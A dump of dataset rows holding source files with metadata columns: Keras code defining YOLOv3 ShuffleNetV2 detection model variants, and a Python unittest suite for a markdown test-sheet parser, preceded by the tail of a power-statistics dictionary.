'Total NoCs/Subthreshold Leakage': 0.0691322,
'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}} | 75.106127 | 124 | 0.682127 | 8,091 | 68,647 | 5.781486 | 0.06773 | 0.123477 | 0.112874 | 0.093377 | 0.938518 | 0.931228 | 0.917205 | 0.8864 | 0.862179 | 0.841891 | 0 | 0.132229 | 0.224205 | 68,647 | 914 | 125 | 75.106127 | 0.746132 | 0 | 0 | 0.642232 | 0 | 0 | 0.657048 | 0.048071 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
065d9e264a0ec58b1f2c427f7187a37a2d0d3c61 | 6,960 | py | Python | yolo3/models/yolo3_shufflenetv2.py | PedroRendeiro/keras-YOLOv3-model-set | b6a1b43b06b0c457e238e129128d484143cda318 | [
"MIT"
] | 2 | 2021-01-26T23:03:47.000Z | 2021-05-04T16:11:34.000Z | yolo3/models/yolo3_shufflenetv2.py | acobo/keras-YOLOv3-model-set | 6d7f7f2474dda43c112a9e0321447109a446ac69 | [
"MIT"
] | null | null | null | yolo3/models/yolo3_shufflenetv2.py | acobo/keras-YOLOv3-model-set | 6d7f7f2474dda43c112a9e0321447109a446ac69 | [
"MIT"
] | 1 | 2021-03-10T09:02:27.000Z | 2021-03-10T09:02:27.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""YOLO_v3 ShuffleNetV2 Model Defined in Keras."""
from tensorflow.keras.layers import UpSampling2D, Concatenate
from tensorflow.keras.models import Model
from common.backbones.shufflenet_v2 import ShuffleNetV2
from yolo3.models.layers import compose, DarknetConv2D, DarknetConv2D_BN_Leaky, Depthwise_Separable_Conv2D_BN_Leaky, make_last_layers, make_depthwise_separable_last_layers, make_spp_depthwise_separable_last_layers
def yolo3_shufflenetv2_body(inputs, num_anchors, num_classes):
"""Create YOLO_V3 ShuffleNetV2 model CNN body in Keras."""
shufflenetv2 = ShuffleNetV2(input_tensor=inputs, weights=None, include_top=False)
# input: 416 x 416 x 3
# 1x1conv5_out: 13 x 13 x 1024
# stage4/block1/relu_1x1conv_1: 26 x 26 x 464
# stage3/block1/relu_1x1conv_1: 52 x 52 x 232
f1 = shufflenetv2.get_layer('1x1conv5_out').output
# f1 :13 x 13 x 1024
x, y1 = make_last_layers(f1, 464, num_anchors * (num_classes + 5))
x = compose(
DarknetConv2D_BN_Leaky(232, (1,1)),
UpSampling2D(2))(x)
f2 = shufflenetv2.get_layer('stage4/block1/relu_1x1conv_1').output
# f2: 26 x 26 x 464
x = Concatenate()([x,f2])
x, y2 = make_last_layers(x, 232, num_anchors*(num_classes+5))
x = compose(
DarknetConv2D_BN_Leaky(116, (1,1)),
UpSampling2D(2))(x)
f3 = shufflenetv2.get_layer('stage3/block1/relu_1x1conv_1').output
# f3 : 52 x 52 x 232
x = Concatenate()([x, f3])
x, y3 = make_last_layers(x, 116, num_anchors*(num_classes+5))
return Model(inputs = inputs, outputs=[y1,y2,y3])
def yolo3lite_shufflenetv2_body(inputs, num_anchors, num_classes):
'''Create YOLO_v3 Lite ShuffleNetV2 model CNN body in keras.'''
shufflenetv2 = ShuffleNetV2(input_tensor=inputs, weights=None, include_top=False)
# input: 416 x 416 x 3
# 1x1conv5_out: 13 x 13 x 1024
# stage4/block1/relu_1x1conv_1: 26 x 26 x 464
# stage3/block1/relu_1x1conv_1: 52 x 52 x 232
f1 = shufflenetv2.get_layer('1x1conv5_out').output
# f1 :13 x 13 x 1024
x, y1 = make_depthwise_separable_last_layers(f1, 464, num_anchors * (num_classes + 5), block_id_str='17')
x = compose(
DarknetConv2D_BN_Leaky(232, (1,1)),
UpSampling2D(2))(x)
f2 = shufflenetv2.get_layer('stage4/block1/relu_1x1conv_1').output
# f2: 26 x 26 x 464
x = Concatenate()([x,f2])
x, y2 = make_depthwise_separable_last_layers(x, 232, num_anchors * (num_classes + 5), block_id_str='18')
x = compose(
DarknetConv2D_BN_Leaky(116, (1,1)),
UpSampling2D(2))(x)
f3 = shufflenetv2.get_layer('stage3/block1/relu_1x1conv_1').output
# f3 : 52 x 52 x 232
x = Concatenate()([x, f3])
x, y3 = make_depthwise_separable_last_layers(x, 116, num_anchors * (num_classes + 5), block_id_str='19')
return Model(inputs = inputs, outputs=[y1,y2,y3])
def yolo3lite_spp_shufflenetv2_body(inputs, num_anchors, num_classes):
'''Create YOLO_v3 Lite SPP ShuffleNetV2 model CNN body in keras.'''
shufflenetv2 = ShuffleNetV2(input_tensor=inputs, weights=None, include_top=False)
# input: 416 x 416 x 3
# 1x1conv5_out: 13 x 13 x 1024
# stage4/block1/relu_1x1conv_1: 26 x 26 x 464
# stage3/block1/relu_1x1conv_1: 52 x 52 x 232
f1 = shufflenetv2.get_layer('1x1conv5_out').output
# f1 :13 x 13 x 1024
#x, y1 = make_depthwise_separable_last_layers(f1, 464, num_anchors * (num_classes + 5), block_id_str='14')
x, y1 = make_spp_depthwise_separable_last_layers(f1, 464, num_anchors * (num_classes + 5), block_id_str='17')
x = compose(
DarknetConv2D_BN_Leaky(232, (1,1)),
UpSampling2D(2))(x)
f2 = shufflenetv2.get_layer('stage4/block1/relu_1x1conv_1').output
# f2: 26 x 26 x 464
x = Concatenate()([x,f2])
x, y2 = make_depthwise_separable_last_layers(x, 232, num_anchors * (num_classes + 5), block_id_str='18')
x = compose(
DarknetConv2D_BN_Leaky(116, (1,1)),
UpSampling2D(2))(x)
f3 = shufflenetv2.get_layer('stage3/block1/relu_1x1conv_1').output
# f3 : 52 x 52 x 232
x = Concatenate()([x, f3])
x, y3 = make_depthwise_separable_last_layers(x, 116, num_anchors * (num_classes + 5), block_id_str='19')
return Model(inputs = inputs, outputs=[y1,y2,y3])
def tiny_yolo3_shufflenetv2_body(inputs, num_anchors, num_classes):
'''Create Tiny YOLO_v3 ShuffleNetV2 model CNN body in keras.'''
shufflenetv2 = ShuffleNetV2(input_tensor=inputs, weights=None, include_top=False)
# input: 416 x 416 x 3
# 1x1conv5_out: 13 x 13 x 1024
# stage4/block1/relu_1x1conv_1: 26 x 26 x 464
# stage3/block1/relu_1x1conv_1: 52 x 52 x 232
x1 = shufflenetv2.get_layer('stage4/block1/relu_1x1conv_1').output
x2 = shufflenetv2.get_layer('1x1conv5_out').output
x2 = DarknetConv2D_BN_Leaky(464, (1,1))(x2)
y1 = compose(
DarknetConv2D_BN_Leaky(1024, (3,3)),
#Depthwise_Separable_Conv2D_BN_Leaky(filters=1024, kernel_size=(3, 3), block_id_str='17'),
DarknetConv2D(num_anchors*(num_classes+5), (1,1)))(x2)
x2 = compose(
DarknetConv2D_BN_Leaky(232, (1,1)),
UpSampling2D(2))(x2)
y2 = compose(
Concatenate(),
DarknetConv2D_BN_Leaky(464, (3,3)),
#Depthwise_Separable_Conv2D_BN_Leaky(filters=464, kernel_size=(3, 3), block_id_str='18'),
DarknetConv2D(num_anchors*(num_classes+5), (1,1)))([x2,x1])
return Model(inputs, [y1,y2])
def tiny_yolo3lite_shufflenetv2_body(inputs, num_anchors, num_classes):
'''Create Tiny YOLO_v3 Lite ShuffleNetV2 model CNN body in keras.'''
shufflenetv2 = ShuffleNetV2(input_tensor=inputs, weights=None, include_top=False)
# input: 416 x 416 x 3
# 1x1conv5_out: 13 x 13 x 1024
# stage4/block1/relu_1x1conv_1: 26 x 26 x 464
# stage3/block1/relu_1x1conv_1: 52 x 52 x 232
x1 = shufflenetv2.get_layer('stage4/block1/relu_1x1conv_1').output
x2 = shufflenetv2.get_layer('1x1conv5_out').output
x2 = DarknetConv2D_BN_Leaky(464, (1,1))(x2)
y1 = compose(
#DarknetConv2D_BN_Leaky(1024, (3,3)),
Depthwise_Separable_Conv2D_BN_Leaky(filters=1024, kernel_size=(3, 3), block_id_str='17'),
DarknetConv2D(num_anchors*(num_classes+5), (1,1)))(x2)
x2 = compose(
DarknetConv2D_BN_Leaky(232, (1,1)),
UpSampling2D(2))(x2)
y2 = compose(
Concatenate(),
#DarknetConv2D_BN_Leaky(464, (3,3)),
Depthwise_Separable_Conv2D_BN_Leaky(filters=464, kernel_size=(3, 3), block_id_str='18'),
DarknetConv2D(num_anchors*(num_classes+5), (1,1)))([x2,x1])
return Model(inputs, [y1,y2])
| 38.882682 | 214 | 0.659052 | 1,003 | 6,960 | 4.325025 | 0.09671 | 0.032273 | 0.056939 | 0.087598 | 0.929 | 0.914477 | 0.904795 | 0.904795 | 0.904795 | 0.885662 | 0 | 0.122736 | 0.222701 | 6,960 | 178 | 215 | 39.101124 | 0.679113 | 0.228879 | 0 | 0.793103 | 0 | 0 | 0.058571 | 0.043733 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057471 | false | 0 | 0.045977 | 0 | 0.16092 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0671462cb0c38d1cc036d1f8f8071569a6270f05 | 4,935 | py | Python | tests/test_generate_testlist.py | TakamiChie/TestSheetMaker | bbcd26b613ab3d04ce9b0b4862eae86c4e6f1a25 | [
"MIT"
] | null | null | null | tests/test_generate_testlist.py | TakamiChie/TestSheetMaker | bbcd26b613ab3d04ce9b0b4862eae86c4e6f1a25 | [
"MIT"
] | null | null | null | tests/test_generate_testlist.py | TakamiChie/TestSheetMaker | bbcd26b613ab3d04ce9b0b4862eae86c4e6f1a25 | [
"MIT"
] | null | null | null | import unittest
import src.main as main
class TestGenerateTestlist(unittest.TestCase):
def test_simple(self):
testdata = """
# test
## testb
### testc
:: aaa
bbb
:: bbb
ccc"""
data = main.generate_testlist(testdata)
self.assertEqual(len(data), 1)
self.assertEqual(data[0]["items"], ["test", "testb", "testc"])
self.assertEqual(data[0]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
def test_simple_blankline(self):
testdata = """
# test
## testb
### testc
:: aaa
bbb
:: bbb
ccc
"""
data = main.generate_testlist(testdata)
self.assertEqual(len(data), 1)
self.assertEqual(data[0]["items"], ["test", "testb", "testc"])
self.assertEqual(data[0]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
def test_double(self):
testdata = """
# test
## testb
### testc
:: aaa
bbb
:: bbb
ccc
## testd
### teste
:: aaa
ddd
:: bbb
eee"""
data = main.generate_testlist(testdata)
self.assertEqual(len(data), 2)
self.assertEqual(data[0]["items"], ["test", "testb", "testc"])
self.assertEqual(data[0]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
self.assertEqual(data[1]["items"], ["test", "testd", "teste"])
self.assertEqual(data[1]["exams"], {"aaa": ["ddd"], "bbb": ["eee"]})
def test_triple(self):
testdata = """
# test
## testb
### testc
:: aaa
bbb
:: bbb
ccc
## testd
### teste
:: aaa
ddd
:: bbb
eee
# testf
## testg
### testh
:: aaa
fff
:: bbb
ggg"""
data = main.generate_testlist(testdata)
self.assertEqual(len(data), 3)
self.assertEqual(data[0]["items"], ["test", "testb", "testc"])
self.assertEqual(data[0]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
self.assertEqual(data[1]["items"], ["test", "testd", "teste"])
self.assertEqual(data[1]["exams"], {"aaa": ["ddd"], "bbb": ["eee"]})
self.assertEqual(data[2]["items"], ["testf", "testg", "testh"])
self.assertEqual(data[2]["exams"], {"aaa": ["fff"], "bbb": ["ggg"]})
def test_in_middle(self):
testdata = """
# test
## testb
### testc
### testd
## teste
### testf
:: aaa
bbb
:: bbb
ccc"""
data = main.generate_testlist(testdata)
self.assertEqual(len(data), 1)
self.assertEqual(data[0]["items"], ["test", "teste", "testf"])
self.assertEqual(data[0]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
def test_ampersand(self):
testdata = """
# test
## testb
### testc
:: aaa
bbb
:: bbb
ccc
## teste
### testf
:: aaa &&
:: bbb
ddd"""
data = main.generate_testlist(testdata)
self.assertEqual(len(data), 2)
self.assertEqual(data[0]["items"], ["test", "testb", "testc"])
self.assertEqual(data[0]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
self.assertEqual(data[1]["items"], ["test", "teste", "testf"])
self.assertEqual(data[1]["exams"], {"aaa": ["bbb"], "bbb": ["ddd"]})
def test_in_middle_with_not_implemented(self):
testdata = """
# test
## testb
### testc
### testd
:: aaa
not implemented
## teste
### testf
:: aaa
bbb
:: bbb
ccc"""
data = main.generate_testlist(testdata)
self.assertEqual(len(data), 2)
self.assertEqual(data[0]["items"], ["test", "testb", "testd"])
self.assertEqual(data[0]["exams"], {"aaa": ["not implemented"]})
self.assertEqual(data[1]["items"], ["test", "teste", "testf"])
self.assertEqual(data[1]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
def test_error_headers(self):
testdata = """
# test
## testb
### testc
##### testd
:: aaa
bbb
:: bbb
ccc"""
with self.assertRaises(Exception):
main.generate_testlist(testdata)
def test_include(self):
testdata = """
# test
## testb
### testc
:: aaa
bbb
:: bbb
ccc
&include({"name":"tests/test_include.md","test":"bbb"})"""
data = main.generate_testlist(testdata)
self.assertEqual(len(data), 2)
self.assertEqual(data[0]["items"], ["test", "testb", "testc"])
self.assertEqual(data[0]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
self.assertEqual(data[1]["items"], ["test", "teste", "testf"])
self.assertEqual(data[1]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
def test_include_basedir(self):
testdata = """
# test
## testb
### testc
:: aaa
bbb
:: bbb
ccc
&include({"name":"test_include.md","test":"bbb"})"""
data = main.generate_testlist(testdata, "tests")
self.assertEqual(len(data), 2)
self.assertEqual(data[0]["items"], ["test", "testb", "testc"])
self.assertEqual(data[0]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
self.assertEqual(data[1]["items"], ["test", "teste", "testf"])
self.assertEqual(data[1]["exams"], {"aaa": ["bbb"], "bbb": ["ccc"]})
| 25.569948 | 72 | 0.537183 | 558 | 4,935 | 4.697133 | 0.100358 | 0.234643 | 0.231973 | 0.096147 | 0.826784 | 0.826784 | 0.804273 | 0.774514 | 0.774514 | 0.739412 | 0 | 0.010798 | 0.230598 | 4,935 | 192 | 73 | 25.703125 | 0.679484 | 0 | 0 | 0.79558 | 1 | 0 | 0.37771 | 0.021074 | 0 | 0 | 0 | 0 | 0.232044 | 1 | 0.055249 | false | 0 | 0.01105 | 0 | 0.071823 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
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